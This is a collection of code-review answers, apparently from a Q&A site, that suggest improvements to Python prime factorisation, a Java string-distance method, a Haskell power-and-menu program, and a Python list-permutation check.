Of course the first three functions are vastly slower than the set because they need to go through more combinations now. However, all functions are then constant time, so the increase in time comes solely from the fact that you have to consider more primes.


prime_factors()

The single greatest improvement to performance that you could make would be to remove the call to is_prime() altogether.  If all factors smaller than i have been removed from n already, then i could not possibly be composite.

The next improvement you could make would be to turn prime_factors() into a generator.  The function would no longer need to resize and recopy prime_factor_list whenever the list needs to grow beyond its estimated size.  Furthermore, the caller could start making use of initial results before the entire factorization is finished.

Using three lines (i = 5, while n != 1, and i += 2) to structure the loop — something that would be succinctly written in C as a for (i = 5; n != 1; i += 2) header — is un-Pythonic.  Such counting loops are usually better written using some kind of range(), xrange(), enumerate(), or something from itertools.  Here, itertools.chain() and itertools.count() would be appropriate.

Without changing the spirit of your algorithm, I would write:

import itertools

def prime_factors(n):
    for i in itertools.chain([2], itertools.count(3, 2)):
        if n <= 1:
            break
        while n % i == 0:
            n //= i
            yield i

is_prime()

As mentioned above, you don't need is_prime() at all, if your only goal is to implement prime_factors().

However, if you wanted to implement is_prime() anyway, you could tighten it up a bit.  My main recommendation would be to avoid performing the i * i multiplication with each iteration.  You would probably be better off computing the \$\sqrt{n}\$ limit just once.

Then, as with the other function, you should express the loop more Pythonically using range() or xrange().  Actually, you wouldn't need an explicit loop; you could use any() instead.

So, if we stick to your algorithm in spirit, we could tighten up the implementation like this:

def is_prime(n):
    if n < 3 or n % 2 == 0:
        return n == 2
    else:
        return not any(n % i == 0 for i in range(3, int(n**0.5 + 2), 2))


Comparing two simple distance calculating algorithms

Not more readable with those method names, but in general it is better to split method into more, especially when code is nested like this. I would even go further and split into more than just 2 methods.

But try to name methods so that name clearly says, what method does.

Edit:

Some ideas of what I would change (starting right from _b and _c methods).

You probably know, that names should be "camelcase", use no underscores and you added underscore just to quickly separate those.
Method is calculating data and printing them. Those are 2 things at once. What if you wanted to use data instead of printing them? what if you wanted to write them to file or return as part of http response?

At first I would at least return String instead of printing it. Then you can do more things than just printing it. That would require renaming method as it doesn't print anymore.
That solution is still not ideal, because you are calculating 3 int numbers and instead you are returning String.
Instead you could create immutable class maybe called MaxStringDistance to contain those 3 numbers and instead of returning String, you return something like new MaxStringDistance(first, second, max).
Now you are missing String representation, that you previously wanted. One way would be to override toString of your new class so that you can then just print that object to get same results as original code or create another method, that will construct the String (I think within that object is best place for it).
You can argue, that method is now "constructing" your MaxStringDistance object. Then it makes sense to put this static method inside MaxStringDistance method as "factory method". Not sure about the name.
Parameter name "s" is short and not very descriptive, try to name variables so that it clearly states what does it contain. It's true, that in this case there's not much to say about it.

That is what I'd do regarding refactoring _b method just based on it's name and signature.

Now let's take a look at _c

This method is definitely not printing anything, but returning int. This one really needs renaming, probably something like calcualteCharDistance
Again single character parameters. I'd at least rename "j" to "position" because it seems like it represents character position in the string (+1 so that's why "position", not "index")
You probably won't be calling this method from anywhere else and can be set it's visibility to private.

Somewhat improved code will look like this:

public class MaxStringDistance {
    private final int first;
    private final int second;
    private final int max;

    //possibly private constructor
    public MaxStringDistance(int first, int second, int max) {
        this.first = first;
        this.second = second;
        this.max = max;
    }

    //getters if needed

    @Override
    public String toString() {
        return first + " " + second + " " + max;
    }

    public static MaxStringDistance fromString(String s) {
        int first = 0;
        int second = 0;
        int max = 0;
        for (int i = 0; i < s.length(); i++) {
            int cur = calculateCharDistance(s, s.charAt(i), i + 1);
            if (cur > max) {
                first = i;
                second = i + cur;
                max = cur;
            }
        }
        return new MaxStringDistance(first, second, max);
    }

    private static int calculateCharDistance(String s, char c, int position) {
        for (int i = position; i < s.length(); i++) {
            if (c == s.charAt(i)) {
                return i - (position - 1);
            }
        }
        return 0;
    }

    public static void main(String[] args) {
        String userInput = new Scanner(System.in).nextLine();
        System.out.println(MaxStringDistance.fromString(userInput));
    }
}


The rise for power

Let's start with powerInternal. First of all, there's a better algorithm for \$b^e\$, which takes \$\mathcal O(\log e)\$ instead of \$\mathcal O(e)\$:

$$b^e = \begin{cases}\left(b^2\right)^\frac{e}{2},&e~\text{even}\\
b\left(b^2\right)^\frac{e-1}{2},&e~\text{odd}\\
\end{cases}
$$

Implementing this is left as an exercise. But it seems like you want to use powerInternal only in power, since it doesn't work with negative exponents. Therefore, you should reduce its scope:

power :: Double -> Integer -> Double
power b e = if e >= 0
    then powerInternal b e
    else 1 / powerInternal b (-e)
  where
    powerInternal :: Double -> Integer -> Double
    powerInternal b 0 = 1
    powerInternal b e = b * powerInternal b (e - 1)

However, we're reinventing the wheel. There's already a function of type

(Fractional a, Integral b) => a -> b -> a

that supports negative exponents. It's called (^^). So we can change your power function:

power :: Double -> Integer -> Double
power b e = b ^^ e
-- or, shorter, but less readable
-- power = (^^)

This is probably the shortest variant you can get. Onwards

Don't trust the user

What do you want to do (0=quit, 1=factorial, 2=power) abc
Run.hs: Prelude.read: no parse

Users will provide wrong input. Either because they intended to do so, or because their finger slipped and they accidentally put 12 instead of 1. If you don't want your program to crash, you probably want to ask again instead. Therefore, we should probably use a function:

askUser :: IO Int
askUser = do
  putStr "What do you want to do? (0: quit; 1: factorial; 2: power) "
  input <- getLine

We have now several ways to handle this. We could use case

  case input of
    "0" -> return 0
    "1" -> return 1
    "2" -> return 2
    _   -> putStrLn "Wrong input, please try again" >> askUser

but that's error prone. Instead, we use readMaybe from Text.Read:

  let input' = readMaybe input

  if 0 <= input' && input' <= 2
     then return input'
     else putStrLn "Wrong input, please try again" >> askUser

We can shorten it if we use fmap readMaybe getLine:

askUser :: IO Int
askUser = do
  putStr "What do you want to do? (0: quit; 1: factorial; 2: power) "
  input <- fmap readMaybe getLine

  case input of
     Just x | 0 <= x && x <= 2 -> return x
     _                         -> putStrLn "Wrong input, please try again" >> askUser

Now we know that askUser will always return a number in the range 0-2.

Foul magic

However, what's 0? What is 1? All three numbers are magic numbers, which is usually a code smell. You, as a developer, have to remember what a certain number stands for. Save them somewhere, like

userQuit, userFactorial, userPower :: Int
userQuit      = 0
userFactorial = 1
userPower     = 2

Now you can write

if answer == userQuit

instead of

if answer == 0

But aren't the choices of the user rather limited in comparison to Int? How about

data UserChoice = Quit | Factorial | Power deriving (Enum, Bounded, Show)

instead? Now we can use

askUserChoice :: IO UserChoice
askUserChoice = fmap toEnum askUser

to convert 0-2 to our own enumeration.

Now, with askUserChoice, we get the following main:

main :: IO ()
main = do
  hSetBuffering stdout NoBuffering

  input <- askUserChoice

  case input of
    Quit      -> exitSuccess
    Factorial -> userFactorial >> main
    Power     -> userPower     >> main

I will come to the yet unknown functions in a second. What did we gain so far? Well, input is going to be a valid answer when we try to inspect it, and we can pattern match on it. Even better, the compiler can tell us that we forgot a pattern if we decide to add Addition or something similar later.

Splitting hairs and concerns

Now to the user* functions. They are pretty much the same as yours, with a small twist:

userFactorial :: IO ()
userFactorial = do
    num <- getInteger "a number"
    putStrLn ("The factorial of " ++ show num ++ " is: " ++ show (factorial num))

userPower :: IO ()
userPower = do
    base <- getInteger "the base number"
    expe <- getInteger "the exponent"
    putStrLn (show base ++ "^" ++ show expe ++ " = " ++ show (power base expe))

The twist is, that getInteger will ask the user till they actually provide an integer:

getInteger :: String -> IO Integer
getInteger what = do
    putStrLn ("Enter " ++ what ++ ": ")
    hFlush stdout

    input <- fmap readMaybe getLine

    case input of
      Nothing -> putStrLn "Not a number, please try again." >> getInteger what
      Just x  -> return x

Summary

So, what has been improved?

The power function uses (^^), a standard library function
We check user input for validity
We don't read values multiple times
We show our intentions for the user's action with a data type
We provide a succinct main and let other functions handle the actual work
We share common problems (getting an integer from the user) and don't repeat ourselfs.

From a beginners perspective, your code is fine, by the way. Some will tell you to use ($) instead of parentheses in your putStrLn lines, but that's a personal preference. The only two real problems where the suboptimal power, and that you don't actually check user input.

Bonus: Short alternative main

Well, the data type and so on is an overkill. We can check the initial decision a lot easier if we simply don't convert the result of getLine into a number (or another type):

main = do
  putStr "What do you want to do (0=quit, 1=factorial, 2=power) "
  input <- getLine

  case input of
    "0" -> exitSuccess
    "1" -> userFactorial >> main
    "2" -> userPower     >> main
    _   -> putStrLn "Wrong input, try again!" >> main

The key to getting main succinct here is still to split the code into another function. You can provide the code inline, but that's hardly readable anymore.


Check if two lists are permutations of the one another ( Improvement)

You can also do:

from collections import Counter

def compare_lists(list1, list2):
    return Counter(list1) == Counter(list2)

While list.sort / sorted has O(n log n) time complexity, constructing a Counter (which is a dict internally) is O(n). This is also an improvement over the solution in the question, which is O(n ^ 2).

There is also a more efficient memory allocation involved if you do not want to mutate list1 and list2. Constructing the sorted list has O(n) space complexity, while constructing the Counter is O(k), where k is the number of unique elements.

If you wanted to make this function scalable to an arbitrary number of lists, you could do:

from collections import Counter

def compare_lists(*lists):
    counters = map(Counter, lists)

    try:
        first_counter = next(counters)
    except StopIteration:
        return True

    return all(first_counter == counter for counter in counters)

Now compare_lists takes a variable number of arguments, and would return True if all of the arguments are permutations of each other.